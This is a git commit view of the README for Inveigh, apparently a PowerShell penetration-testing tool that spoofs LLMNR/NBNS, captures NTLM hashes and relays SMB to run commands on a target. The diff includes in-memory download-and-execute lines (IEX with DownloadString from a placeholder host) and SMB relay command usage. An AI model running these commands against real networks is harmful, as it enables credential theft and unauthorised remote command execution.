aboutsummaryrefslogtreecommitdiff
path: root/README.md
diff options
context:
space:
mode:
authorKevin Robertson <robertsonk@gmail.com>2015-10-11 19:56:02 -0400
committerKevin Robertson <robertsonk@gmail.com>2015-10-11 19:56:02 -0400
commit65c2df6a2b00d0b2514f84e3e5c514c073bdd6e3 (patch)
tree7ef650fef950b3aa792d4b33cbb0109411b69402 /README.md
parent3ed10aaad19f8ad6ee386af6f5de0473425258d3 (diff)
downloadInveigh-65c2df6a2b00d0b2514f84e3e5c514c073bdd6e3.tar.gz
Inveigh-65c2df6a2b00d0b2514f84e3e5c514c073bdd6e3.zip
Moved SMB relay code to a dedicated script, also added a Scripts directory and psm1 and psd1 files
The SMB relay code is now in Inveigh-Relay.ps1. The script can be used either through Invoke-Inveigh or as a standalone function.
Diffstat (limited to 'README.md')
-rw-r--r--README.md25
1 files changed, 15 insertions, 10 deletions
diff --git a/README.md b/README.md
index 9d7fc46..ef23ec4 100644
--- a/README.md
+++ b/README.md
@@ -19,14 +19,16 @@ Tested minimums are PowerShell 2.0 and .NET 3.5
# Usage
Obtain an elevated administrator or SYSTEM shell and use a method to load the module
-To import with Import-Module:
-Import-Module ./Inveigh.ps1
+To import with Import-Module:
+Import-Module ./Inveigh.psd1
-To import with dot source method:
-. ./Inveigh.ps1
+To import using dot source method:
+. ./Inveigh.ps1
+. ./Inveigh-Relay.ps1
To load into memory using Invoke-Expression:
-IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")
+IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")
+IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1")
To execute with default settings:
Invoke-Inveigh
@@ -37,23 +39,26 @@ Import-Module ./Inveigh.ps1;Invoke-Inveigh
To execute with features enabled/disabled:
Invoke-Inveigh -IP 'local IP' -SpoofIP 'local or remote IP' -LLMNR Y/N -NBNS Y/N -NBNSTypes 00,03,20,1B -HTTP Y/N -HTTPS Y/N -SMB Y/N -Repeat Y/N -ConsoleOutput Y/N -FileOutput Y/N -OutputDir 'valid folder path'
-To execute with SMB relay enabled:
+To execute with SMB relay enabled through Invoke-Inveigh:
Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target"
+To execute with SMB relay with only Invoke-InveighRelay:
+Invoke-InveighRelay -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target"
+
Use 'Get-Help -parameter * Invoke-Inveigh' for a full list of parameters
-# Cmdlets
+# Functions
Invoke-Inveigh - Start Inveigh with or without parameters
+Invoke-InveighRelay - SMB relay function
Get-Inveigh - Get queued console output
Get-InveighLog - Get log entries
Get-InveighNTLM - Get all captured challenge/response hashes
Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes
Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes
Get-InveighStats - Get captured challenge/response counts
-Get-InveighHelp - List the cmdlets
Watch-Inveigh - Enable real time console output
-Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists
-Stop-Inveigh - Stop Inveigh
+Clear-Inveigh - Clear Inveigh data from memory
+Stop-Inveigh - Stop all running Inveigh functions
# Screenshots
Invoke-Inveigh execution with real time console and file output enabled